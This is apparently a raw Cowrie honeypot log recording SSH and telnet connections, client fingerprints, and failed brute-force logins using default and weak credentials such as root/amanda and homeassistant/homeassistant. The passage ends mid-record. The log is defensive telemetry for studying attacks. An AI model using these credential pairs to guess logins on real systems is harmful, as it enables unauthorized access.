{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.514411Z","src_ip":"43.134.175.218","session":"98404dde24ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.572649Z","src_ip":"45.153.34.112","session":"087517349f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59328,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ee8d80d93b","protocol":"telnet","message":"New connection: 192.119.13.58:59328 (10.17.0.5:23) [session: 41ee8d80d93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.703156Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.756100Z","src_ip":"43.134.175.218","session":"98404dde24ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:47.821932Z","src_ip":"45.153.34.112","session":"087517349f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":50854,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f6f683f84b","protocol":"ssh","message":"New connection: 158.178.141.16:50854 (10.17.0.5:22) [session: 99f6f683f84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:48.120450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:48.125431Z","src_ip":"158.178.141.16","session":"99f6f683f84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:48.337354Z","src_ip":"158.178.141.16","session":"99f6f683f84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:48.742733Z","src_ip":"43.134.175.218","session":"98404dde24ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:48.969402Z","src_ip":"45.153.34.112","session":"087517349f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amanda","message":"login attempt [root/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:49.215902Z","src_ip":"158.178.141.16","session":"99f6f683f84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:49.984959Z","src_ip":"43.134.175.218","session":"98404dde24ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:50.429760Z","src_ip":"158.178.141.16","session":"99f6f683f84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c518062cec","protocol":"telnet","message":"New connection: 192.119.13.58:43040 (10.17.0.5:23) [session: d5c518062cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:50.668101Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49720,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d02082d0b62","protocol":"ssh","message":"New connection: 45.153.34.112:49720 (10.17.0.5:22) [session: 8d02082d0b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:50.781406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:50.786180Z","src_ip":"45.153.34.112","session":"8d02082d0b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:50.869780Z","src_ip":"45.153.34.112","session":"8d02082d0b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"98720930caba","protocol":"telnet","message":"New connection: 192.119.13.58:44548 (10.17.0.5:23) [session: 98720930caba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:51.068353Z"}
{"eventid":"cowrie.session.closed","duration":0.005772829055786133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:51.073848Z","src_ip":"192.119.13.58","session":"98720930caba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:51.116957Z","src_ip":"45.153.34.112","session":"8d02082d0b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:52.221770Z","src_ip":"45.153.34.112","session":"8d02082d0b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":39532,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9c7023f4db","protocol":"ssh","message":"New connection: 43.130.36.39:39532 (10.17.0.5:22) [session: cf9c7023f4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:53.317898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:53.321980Z","src_ip":"43.130.36.39","session":"cf9c7023f4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:53.390089Z","src_ip":"43.130.36.39","session":"cf9c7023f4db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"homeassistant","password":"homeassistant","message":"login attempt [homeassistant/homeassistant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:53.696100Z","src_ip":"43.130.36.39","session":"cf9c7023f4db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49722,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbf26943bba1","protocol":"ssh","message":"New connection: 45.153.34.112:49722 (10.17.0.5:22) [session: dbf26943bba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.352515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.357764Z","src_ip":"45.153.34.112","session":"dbf26943bba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.440496Z","src_ip":"45.153.34.112","session":"dbf26943bba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59884,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4db587e188","protocol":"telnet","message":"New connection: 192.119.13.58:59884 (10.17.0.5:23) [session: 7c4db587e188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.570457Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59956,"dst_ip":"10.17.0.5","dst_port":23,"session":"769d7d2d8193","protocol":"telnet","message":"New connection: 192.119.13.58:59956 (10.17.0.5:23) [session: 769d7d2d8193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.594388Z"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.688565Z","src_ip":"45.153.34.112","session":"dbf26943bba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:54.768084Z","src_ip":"43.130.36.39","session":"cf9c7023f4db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:55.780266Z","src_ip":"45.153.34.112","session":"dbf26943bba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43700,"dst_ip":"10.17.0.5","dst_port":23,"session":"9561439f81ac","protocol":"telnet","message":"New connection: 192.119.13.58:43700 (10.17.0.5:23) [session: 9561439f81ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:57.470472Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49736,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5919bd5b7f6","protocol":"ssh","message":"New connection: 45.153.34.112:49736 (10.17.0.5:22) [session: e5919bd5b7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:57.662743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:57.668413Z","src_ip":"45.153.34.112","session":"e5919bd5b7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:57.751255Z","src_ip":"45.153.34.112","session":"e5919bd5b7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.000670Z","src_ip":"45.153.34.112","session":"e5919bd5b7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8734b461d1c4","protocol":"telnet","message":"New connection: 192.119.13.58:46448 (10.17.0.5:23) [session: 8734b461d1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.068842Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":42084,"dst_ip":"159.203.135.109","dst_port":22,"session":"a83b6488bf00","protocol":"ssh","message":"New connection: 116.110.15.216:42084 (159.203.135.109:22) [session: a83b6488bf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.410199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:58.415097Z","src_ip":"116.110.15.216","session":"a83b6488bf00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openss